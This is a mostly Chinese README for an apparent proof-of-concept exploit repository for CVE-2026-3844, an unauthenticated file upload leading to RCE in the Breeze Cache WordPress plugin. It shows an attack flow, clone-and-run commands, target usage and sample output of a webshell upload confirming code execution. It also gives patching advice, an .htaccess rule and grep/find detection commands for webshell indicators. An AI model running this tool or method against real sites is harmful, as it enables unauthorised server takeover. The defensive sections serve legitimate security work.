针对 CVE-2026-3844 的 PoC 漏洞利用代码,这是 WordPress Breeze 插件中一个可导致 RCE 的严重未认证文件上传漏洞。
CVE-2026-3844 是 Breeze Cache WordPress 插件(由 Cloudways 开发)中的一个严重未认证任意文件上传漏洞,影响直至并包括 2.4.4 的所有版本。
本仓库提供了一个概念验证(PoC)漏洞利用代码(CVE-2026-3844.py),用于授权的安全研究、渗透测试和负责任披露。
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3
WordPress 的 Breeze Cache 插件在启用 “Host Files Locally – Gravatars” 功能时,会获取远程 Gravatar 图像并存储在本地。class-breeze-cache-cronjobs.php(第 89–119 行)中的易受攻击函数 fetch_gravatar_from_remote 对所获取的远程内容不进行任何文件类型或扩展名验证。
class-breeze-cache-cronjobs.php
└── fetch_gravatar_from_remote() ← ❌ No file type validation
└── Saves remote content directly to disk
└── Attacker controls → uploads .php webshell → RCE
Attacker (Unauthenticated)
│
▼
Craft malicious HTTP request with PHP webshell URL as Gravatar
│
▼
Plugin fetches & saves the .php file without validation
│
▼
Webshell stored on server (e.g., /wp-content/breeze-cache/evil.php)
│
▼
Attacker accesses webshell → Full RCE achieved
若成功利用,攻击者可以:
requests 库# Clone the repository
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && python3 CVE-2026-3844.py
# Navigate into the directory
cd CVE-2026-3844
# Install dependencies
pip install -r requirements.txt
# Run the exploit
python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip install -r requirements.txt
python CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git
cd CVE-2026-3844
pip3 install -r requirements.txt
python3 CVE-2026-3844.py
pkg install python git -y && git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
git clone https://github.com/tausifzaman/CVE-2026-3844.git && cd CVE-2026-3844 && pip install -r requirements.txt && python3 CVE-2026-3844.py
python3 CVE-2026-3844.py
usage: CVE-2026-3844.py [-h] -u URL [-t TIMEOUT] [-o OUTPUT] [-v]
CVE-2026-3844 — Breeze Cache WordPress Plugin Arbitrary File Upload PoC
optional arguments:
-h, --help Show this help message and exit
-u URL, --url URL Target URL (e.g. https://target.com)
-t TIMEOUT Request timeout in seconds (default: 10)
-o OUTPUT Save webshell path to output file
-v, --verbose Enable verbose/debug output
# Basic usage
python3 CVE-2026-3844.py -u https://vulnerable-site.com
# Verbose mode
python3 CVE-2026-3844.py -u https://vulnerable-site.com -v
# Custom timeout
python3 CVE-2026-3844.py -u https://vulnerable-site.com -t 20 -v
╔══════════════════════════════════════════════════════╗
║ CVE-2026-3844 | Breeze Cache WP RCE ║
║ Researcher: tausifzaman.online ║
╚══════════════════════════════════════════════════════╝
[*] Target : https://vulnerable-site.com
[*] CVE : CVE-2026-3844
[*] Plugin : Breeze Cache ≤ 2.4.4
[*] Type : Unauthenticated Arbitrary File Upload → RCE
[*] Checking target...
[+] Breeze Cache plugin detected!
[+] "Host Files Locally – Gravatars" is ENABLED
[*] Uploading PHP webshell via fetch_gravatar_from_remote...
[+] File uploaded successfully!
[+] Webshell path: /wp-content/breeze-cache/avatar_a1b2c3.php
[*] Verifying RCE...
[+] RCE CONFIRMED!
[+] Command output (id):
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Full server compromise achieved.
[*] Cleanup: Remove /wp-content/breeze-cache/avatar_a1b2c3.php after testing.
将 Breeze Cache 更新至 2.4.5 或更高版本 —— 这是唯一完整的修复方案。
# WordPress CLI — update Breeze plugin immediately
wp plugin update breeze
.htaccess 阻止易受攻击的端点# Add to /wp-content/uploads/.htaccess and /wp-content/cache/.htaccess
<FilesMatch "\.php$">
deny from all
</FilesMatch>
# Find recently modified PHP files in wp-content (possible webshells)
find /var/www/html/wp-content -name "*.php" -newer /var/www/html/wp-config.php -ls
# Search for common webshell indicators
grep -r "eval(base64_decode" /var/www/html/wp-content/
grep -r "system\|exec\|passthru\|shell_exec" /var/www/html/wp-content/cache/
/wp-content/breeze-cache/*.php 的请求# Monitor Apache/Nginx access logs for webshell hits
grep "breeze-cache.*\.php" /var/log/apache2/access.log
grep "breeze-cache.*\.php" /var/log/nginx/access.log
# Check for unexpected PHP files in Breeze cache directory
find /var/www/html/wp-content/breeze-cache/ -name "*.php"
# Check for recently created files (last 7 days)
find /var/www/html/wp-content/ -name "*.php" -mtime -7
# Look for admin accounts created recently (run in wp-mysql)
SELECT user_login, user_registered FROM wp_users ORDER BY user_registered DESC LIMIT 10;
Tausif Zaman
🌐 tausifzaman.online · 🐙 GitHub @tausifzaman
安全研究员 · 漏洞赏金猎人 · 工具开发者
Android · Python · PHP · Web 安全 · 渗透测试
本仓库及其中的漏洞利用代码严格仅供教育目的和授权的安全研究使用。
道德入侵,负责任披露,保持合法。🛡️
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-3844 |
| 插件 | Breeze Cache(由 Cloudways 开发) |
| 受影响版本 | 所有版本 ≤ 2.4.4 |
| 已修补版本 | Breeze 2.4.5+ |
| 漏洞类型 | CWE-434 — 危险类型文件的无限制上传 |
| CVSS v3.1 评分 | 9.8(严重) |
| CVSS v2.0 评分 | 10.0(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 攻击向量 | 网络(远程) |
| 认证要求 | ❌ 无 — 无需认证 |
| 利用条件 | 必须启用“Host Files Locally – Gravatars”(默认禁用) |
| 影响 | 机密性:高 · 完整性:高 · 可用性:高 |
| 发布时间 | 2026-04-23 |
| 来源 | Wordfence / NVD / MITRE |
| PoC | Tausif Zaman |
| 来源 | 链接 |
|---|
| 🔗 NVD(NIST) | nvd.nist.gov/vuln/detail/CVE-2026-3844 |
| 🔗 MITRE CVE | cve.mitre.org – CVE-2026-3844 |
| 🔗 Wordfence 公告 | wordfence.com – Threat Intel |
| 🔗 WordPress 插件更新日志 | plugins.trac.wordpress.org/changeset/3511463/breeze |
| 🔗 漏洞代码(L89) | class-breeze-cache-cronjobs.php#L89 |
| 🔗 漏洞代码(L119) | class-breeze-cache-cronjobs.php#L119 |
| 🔗 GitHub 安全公告 | GHSA-c529-q7mw-hq6j |
| 🔗 PoC 仓库 | github.com/tausifzaman/CVE-2026-3844 |